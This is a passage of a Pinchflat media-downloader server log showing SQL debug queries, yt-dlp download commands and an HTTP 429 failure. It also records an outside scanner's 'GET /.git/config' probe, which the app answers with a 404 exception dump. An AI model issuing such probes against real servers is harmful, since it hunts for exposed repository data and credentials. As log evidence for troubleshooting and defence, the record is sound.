file either not present or is empty. Skipping. 23:20:16.445 [debug] QUERY OK source="sources" db=0.1ms idle=722.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 23:20:16.445 [debug] QUERY OK source="media_profiles" db=0.1ms idle=722.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 23:20:16.446 [debug] QUERY OK source="media_items" db=0.1ms idle=196.5ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [51] 23:20:16.446 [debug] QUERY OK source="media_metadata" db=0.0ms idle=1.9ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [51] 23:20:16.446 [debug] QUERY OK source="media_profiles" db=0.1ms idle=1.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 23:20:16.447 [debug] QUERY OK source="settings" db=0.0ms idle=1.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:20:16.447 [debug] Running yt-dlp command for action: get_downloadable_status 23:20:16.447 [debug] QUERY OK source="settings" db=0.0ms idle=1.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:20:16.447 [debug] QUERY OK source="settings" db=0.0ms idle=1.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:20:16.447 [debug] QUERY OK source="settings" db=0.1ms idle=1.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:20:16.447 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=7EKCJlHjJgo --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/f3/8c/f38c00686cf29e44161d8524e9fbd7da876b7146f737505d367168edd4c0cc49.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 23:20:17.508 [info] {"source":"oban","duration":680,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:20:18.731 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=7EKCJlHjJgo --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/f3/8c/f38c00686cf29e44161d8524e9fbd7da876b7146f737505d367168edd4c0cc49.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 23:20:18.731 [debug] Running yt-dlp command for action: download 23:20:18.731 [debug] QUERY OK source="settings" db=0.3ms idle=1008.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:20:18.732 [debug] QUERY OK source="settings" db=0.0ms idle=1009.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:20:18.732 [debug] QUERY OK source="settings" db=0.0ms idle=1009.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:20:18.732 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=7EKCJlHjJgo --no-simulate --no-progress --force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --write-auto-subs --write-subs --convert-subs srt --sub-langs en --write-thumbnail --convert-thumbnail jpg --output thumbnail:/downloads/Classics/Classics/%(upload_date>%Y-%m-%d)S%(title)S[%(id)S]-thumb.%(ext)S --embed-thumbnail --convert-thumbnail jpg --write-info-json --clean-info-json --embed-metadata --extract-audio --format-sort +acodec:m4a --audio-format best --format bestaudio/best --output /downloads/Classics/Classics/%(upload_date>%Y-%m-%d)S%(title)S[%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/2b/39/2b39ac56afa2474212fd727bec7366bf499f437959e2ecdfc2c3ba9ed6b8d1fb.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 23:20:21.328 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=7EKCJlHjJgo --no-simulate --no-progress --force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --write-auto-subs --write-subs --convert-subs srt --sub-langs en --write-thumbnail --convert-thumbnail jpg --output thumbnail:/downloads/Classics/Classics/%(upload_date>%Y-%m-%d)S%(title)S[%(id)S]-thumb.%(ext)S --embed-thumbnail --convert-thumbnail jpg --write-info-json --clean-info-json --embed-metadata --extract-audio --format-sort +acodec:m4a --audio-format best --format bestaudio/best --output /downloads/Classics/Classics/%(upload_date>%Y-%m-%d)S%(title)S[%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/2b/39/2b39ac56afa2474212fd727bec7366bf499f437959e2ecdfc2c3ba9ed6b8d1fb.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: Unable to download video subtitles for 'en': HTTP Error 429: Too Many Requests 23:20:21.328 [error] yt-dlp download error for media item #51: "ERROR: Unable to download video subtitles for 'en': HTTP Error 429: Too Many Requests\n" 23:20:21.557 [info] {"error":"** (Oban.PerformError) Pinchflat.Downloading.MediaDownloadWorker failed with {:error, :download_failed}","args":{"force":true,"id":51},"id":174,"meta":{},"state":"failure","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":4884219,"event":"job:exception","queue_time":650174,"attempt":12,"tags":["media_item","media_fetching","show_in_dashboard"]} 23:20:47.509 [info] {"source":"oban","duration":613,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:21:00.311 [info] {"source":"oban","duration":286,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:21:17.510 [info] {"source":"oban","duration":914,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:21:47.512 [info] {"source":"oban","duration":766,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:22:00.312 [info] {"source":"oban","duration":456,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:22:17.513 [info] {"source":"oban","duration":561,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:22:47.514 [info] {"source":"oban","duration":698,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:23:00.313 [info] {"source":"oban","duration":233,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:23:17.515 [info] {"source":"oban","duration":708,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:23:47.516 [info] {"source":"oban","duration":640,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:24:00.314 [info] {"source":"oban","duration":543,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:24:17.517 [info] {"source":"oban","duration":519,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:24:47.518 [info] {"source":"oban","duration":563,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:25:00.315 [info] {"source":"oban","duration":321,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:25:17.519 [info] {"source":"oban","duration":664,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:25:47.520 [info] {"source":"oban","duration":583,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:26:00.316 [info] {"source":"oban","duration":339,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:26:17.521 [info] {"source":"oban","duration":638,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:26:47.522 [info] {"source":"oban","duration":539,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:27:00.317 [info] {"source":"oban","duration":216,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:27:17.523 [info] {"source":"oban","duration":709,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:27:47.524 [info] {"source":"oban","duration":616,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:28:00.318 [info] {"source":"oban","duration":385,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:28:17.525 [info] {"source":"oban","duration":568,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:28:47.526 [info] {"source":"oban","duration":649,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:29:00.319 [info] {"source":"oban","duration":225,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:29:17.527 [info] {"source":"oban","duration":604,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:29:47.528 [info] {"source":"oban","duration":559,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:30:00.320 [info] {"source":"oban","duration":237,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:30:17.529 [info] {"source":"oban","duration":674,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:30:47.530 [info] {"source":"oban","duration":603,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:31:00.321 [info] {"source":"oban","duration":280,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:31:17.531 [info] {"source":"oban","duration":655,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:31:47.532 [info] {"source":"oban","duration":684,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:32:00.322 [info] {"source":"oban","duration":260,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:32:17.533 [info] {"source":"oban","duration":614,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:32:40.546 [info] GET /.git/config 23:32:40.548 [debug] QUERY OK source="settings" db=0.5ms queue=0.1ms idle=1824.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:32:40.548 [debug] QUERY OK source="settings" db=0.3ms idle=1825.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:32:40.549 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 23:32:40.549 [error] #PID<0.3165.0> running PinchflatWeb.Endpoint (connection #PID<0.3164.0>, stream id 1) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /.git/config ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.git/config (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3164.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.git/config", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 38778}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-charset" => "utf-8", "accept-encoding" => "gzip", "host" => "pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36", "x-forwarded-for" => "45.148.10.120", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3165.0>, params: %{}, path_info: [".git", "config"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{}, req_headers: [ {"accept-charset", "utf-8"}, {"accept-encoding", "gzip"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36"}, {"x-forwarded-for", "45.148.10.120"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"} ], request_path: "/.git/config", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUcUMTLGs74xMAAAOqB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3164.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.git/config", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 38778}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-charset" => "utf-8", "accept-encoding" => "gzip", "host" => "pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36", "x-forwarded-for" => "45.148.10.120", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.git/config (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3164.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.git/config", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 38778}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-charset" => "utf-8", "accept-encoding" => "gzip", "host" => "pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36", "x-forwarded-for" => "45.148.10.120", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3165.0>, params: %{}, path_info: [".git", "config"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{}, req_headers: [ {"accept-charset", "utf-8"}, {"accept-encoding", "gzip"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36"}, {"x-forwarded-for", "45.148.10.120"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"} ], request_path: "/.git/config", resp_body: nil, (truncated) 23:32:47.534 [info] {"source":"oban","duration":600,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:33:00.323 [info] {"source":"oban","duration":272,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:33:17.535 [info] {"source":"oban","duration":654,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:33:47.536 [info] {"source":"oban","duration":638,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:34:00.324 [info] {"source":"oban","duration":313,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:34:17.537 [info] {"source":"oban","duration":641,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:34:47.538 [info] {"source":"oban","duration":657,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:35:00.325 [info] {"source":"oban","duration":364,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:35:15.165 [info] GET / 23:35:15.165 [debug] Processing with PinchflatWeb.Pages.PageController.home/2 Parameters: %{} Pipelines: [:browser] 23:35:15.165 [debug] QUERY OK source="settings" db=0.3ms idle=1354.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:35:15.166 [debug] QUERY OK source="media_profiles" db=0.0ms idle=443.0ms SELECT count(m0."id") FROM "media_profiles" AS m0 [] 23:35:15.166 [debug] QUERY OK source="sources" db=0.0ms idle=443.2ms SELECT count(s0."id") FROM "sources" AS s0 [] 23:35:15.166 [debug] QUERY OK source="media_items" db=0.2ms idle=443.4ms SELECT sum(m0."media_size_bytes") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 23:35:15.166 [debug] QUERY OK source="media_items" db=0.1ms idle=355.1ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 23:35:15.167 [debug] QUERY OK source="settings" db=0.1ms idle=1.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:35:15.167 [debug] QUERY OK source="settings" db=0.1ms idle=1.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:35:15.168 [debug] QUERY OK source="settings" db=0.1ms idle=1.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:35:15.169 [debug] QUERY OK source="tasks" db=0.4ms idle=2.1ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 23:35:15.169 [debug] QUERY OK source="sources" db=0.2ms idle=2.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 23:35:15.170 [debug] QUERY OK source="media_items" db=0.1ms idle=2.8ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) [] 23:35:15.170 [debug] QUERY OK source="media_items" db=0.2ms queue=0.1ms idle=3.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 23:35:15.171 [debug] QUERY OK source="sources" db=0.1ms idle=3.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" IN (?,?)) [5, 1] 23:35:15.172 [debug] QUERY OK source="media_items" db=0.1ms queue=0.1ms idle=3.3ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) 